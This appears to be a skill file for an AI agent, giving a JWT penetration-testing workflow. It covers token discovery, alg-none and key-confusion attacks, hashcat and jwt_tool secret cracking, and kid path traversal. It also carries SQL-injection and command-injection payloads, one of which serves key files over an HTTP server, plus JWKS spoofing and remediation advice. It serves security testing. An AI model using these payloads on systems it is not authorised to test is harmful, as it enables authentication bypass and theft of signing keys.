Hacktricks-skills jwt-pentest
How to assess JWT (JSON Web Token) security vulnerabilities in web applications. Use this skill whenever the user mentions JWT tokens, JSON Web Tokens, token security, authentication bypass, session hijacking, or needs to test JWT implementations for vulnerabilities like signature bypass, algorithm confusion, or key exposure. This skill covers the complete JWT assessment workflow from reconnaissance to exploitation.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/hacking-jwt-json-web-tokens/SKILL.MDJWT Pentesting Skill
A comprehensive guide for assessing JSON Web Token security in web applications.
Quick Assessment Workflow
Follow this systematic approach when evaluating JWT implementations:
1. Scope the Session Control
Identify which tokens actually gate authorization:
- Pick a user-specific request (profile, billing, admin actions)
- Remove cookies/headers one at a time until the request is rejected
- Note which token(s) are required for authorization
2. Locate JWTs in Traffic
JWTs commonly appear in:
headerAuthorization: Bearer <JWT>- Custom headers (e.g.,
)X-Auth-Token - Cookies (e.g.,
,session
)auth_token
Search patterns for Burp Site Map:
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+ [= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*
3. Decode and Enumerate
Use
jwt_tool or Burp JWT Editor to inspect:
python3 jwt_tool.py <JWT_TOKEN>
Key fields to note:
: Algorithm (HS256, RS256, ES256, none)alg
: Expiration timeexp
: Key ID (potential attack vector)kid
/jku
: Remote key URLs (SSRF potential)x5u- Authn/authz claims:
,role
,id
,username
,emailsub
4. Signature Enforcement Check
Quick test: Flip or delete bytes in the signature portion and replay.
- Accepted → Missing signature validation (critical vulnerability)
- Rejected → Signature is being checked (proceed to other attacks)
Attack Patterns
Pattern 1: Signature Bypass (No Verification)
When to try: After confirming signature is checked, test if tampering works.
Steps:
- Decode the JWT
- Modify payload claims (e.g., change
torole: user
)role: admin - Keep the original signature unchanged
- Send the modified token
Success indicator: Server accepts the tampered token without re-verification.
Pattern 2: Algorithm None Attack
When to try: Token uses any algorithm, server may not enforce algorithm.
Steps:
- Set
header toalg
ornoneNone - Remove the signature portion entirely
- Send the unsigned token
Burp JWT Editor: Use the built-in "none" algorithm attack.
Pattern 3: HMAC Key Confusion (RS256 → HS256)
When to try: Token uses RS256 (asymmetric) and you have access to the public key.
Concept: Change algorithm from RS256 to HS256. The server will use the public key as the HMAC secret.
Steps:
-
Extract the RSA public key from:
/.well-known/jwks.json- Server certificate
- JWKS endpoint
-
Change
fromalg
toRS256HS256 -
Re-sign the token using the public key as the secret
Using Burp JWT Editor:
- Import the RSA public key
- Run Attack → HMAC Key Confusion Attack
Using jwt_tool:
python3 jwt_tool.py <JWT> -M at # All tests mode
Pattern 4: Secret Key Brute Force
When to try: Token uses HS256 with a weak secret.
Steps:
- Export the JWT to a file
- Run offline cracking:
# Using jwt_tool python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt # Using hashcat (GPU-accelerated) hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
- Once secret is recovered, re-sign modified claims with the discovered secret.
Pattern 5: Kid Manipulation
When to try: Token has a
kid header claim.
Attack vectors:
5a. Key File Discovery
Search for the key file referenced by
kid:
# If kid is "key/12345", try: GET /key/12345 GET /key/12345.pem GET /keys/12345 GET /public/12345.pem
5b. Path Traversal
Attempt to traverse to files with known content:
# Using jwt_tool python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" # Target /proc/sys/kernel/randomize_va_space (contains "2") python3 jwt_tool.py <JWT> -I -hc kid -hv "../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
5c. SQL Injection
If
kid is used in database queries:
non-existent-index' UNION SELECT 'ATTACKER';-- -
5d. OS Command Injection
If
kid is used in command execution:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
Pattern 6: JWKS Spoofing (jku/x5u)
When to try: Token has
jku (JWK Set URL) or x5u (X.509 URL) header.
Concept: Server fetches keys from remote URL. Point it to your controlled server.
Steps:
- Create your own key pair:
openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt
- Host a JWKS file at your controlled URL:
{ "keys": [ { "kty": "RSA", "use": "sig", "alg": "RS256", "n": "<base64-encoded-n>", "e": "AQAB" } ] }
- Modify the token's
orjku
to point to your JWKSx5u - Re-sign with your private key
- Send the forged token
Using Burp Collaborator:
- Use JWT Editor → Attack → Embed Collaborator payload
- Any callback confirms SSRF-style key retrieval
Pattern 7: Embedded Public Key (CVE-2018-0114)
When to try: Token has embedded public key in header.
Steps:
- Generate new key pair:
openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt
- Extract
andn
from your public keye - Embed your public key in the token header
- Re-sign with your private key
Pattern 8: x5c Certificate Chain Attack
When to try: Token has
x5c header with certificate chain.
Steps:
- Generate self-signed certificate:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout attacker.key -out attacker.crt
- Extract certificate in base64
- Replace
value with your certificatex5c - Re-sign with your private key
Pattern 9: Token Replay
When to try: Token has short
jti (JWT ID) or no expiration check.
Scenarios:
has limited length (e.g., 4 digits: 0001-9999)jti- Token has
claim but server doesn't enforce itexp - Token never expires
Test:
- Capture a valid token
- Wait for expiration time to pass
- Replay the token
- If accepted, the server doesn't check expiration
Pattern 10: Cross-Service Relay
When to try: Multiple services share JWT infrastructure.
Steps:
- Sign up on a different service using the same JWT provider
- Obtain a token from the other service
- Attempt to use it on the target service
- If accepted, tokens are shared across services
Tool Usage
jwt_tool
# Decode and analyze python3 jwt_tool.py <JWT> # All attack tests (automated) python3 jwt_tool.py -M at -t "https://api.example.com" -rh "Authorization: Bearer <JWT>" # Offline secret cracking python3 jwt_tool.py <JWT> -C -d wordlist.txt # JWKS spoofing test python3 jwt_tool.py <JWT> -X s # Tamper header claim python3 jwt_tool.py <JWT> -I -hc <header_name> -hv <header_value>
Burp JWT Editor
Key features:
- Decode/encode JWTs in Repeater
- Generate custom keys (RSA, ECDSA, HMAC)
- Built-in attacks:
- Algorithm
attacknone - HMAC key confusion attack
- Embedded JWK attack
- jku/x5u Collaborator payloads
- Algorithm
Workflow:
- Send request to Repeater
- Open JWT Editor tab
- Modify claims or run attacks
- Send modified request
hashcat
# HS256 cracking (mode 16500) hashcat -a 0 -m 16500 jwt.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule # With GPU acceleration hashcat -a 0 -m 16500 jwt.txt wordlist.txt --force
Common Vulnerability Indicators
| Symptom | Likely Vulnerability |
|---|---|
| Token accepted after signature modification | No signature verification |
Token accepted with | Algorithm enforcement missing |
| RS256 token accepted with HS256 signature | Key confusion vulnerability |
points to accessible file | Key exposure |
/ triggers callback | SSRF in key retrieval |
| Expired token still works | No expiration check |
| Same token works on different services | Cross-service relay |
Reporting Findings
When documenting JWT vulnerabilities:
- Include the original token (redact sensitive claims if needed)
- Show the modified token that demonstrates the vulnerability
- Explain the impact (privilege escalation, authentication bypass, etc.)
- Provide reproduction steps
- Suggest remediation:
- Always verify signatures
- Enforce algorithm whitelist (never allow
)none - Use strong, random secrets for HMAC
- Validate
against allowlistkid - Implement proper expiration checks
- Use separate keys per service
Quick Reference
Most common vulnerabilities (in order of frequency):
- No signature verification
- Algorithm
acceptednone - Weak HMAC secrets
- Key confusion (RS256 → HS256)
- Kid manipulation
- JWKS/x5u SSRF
First tests to run:
- Tamper payload, keep signature
- Set algorithm to
none - Run
jwt_tool -M at - Check for
,kid
,jku
headersx5u - Test expiration bypass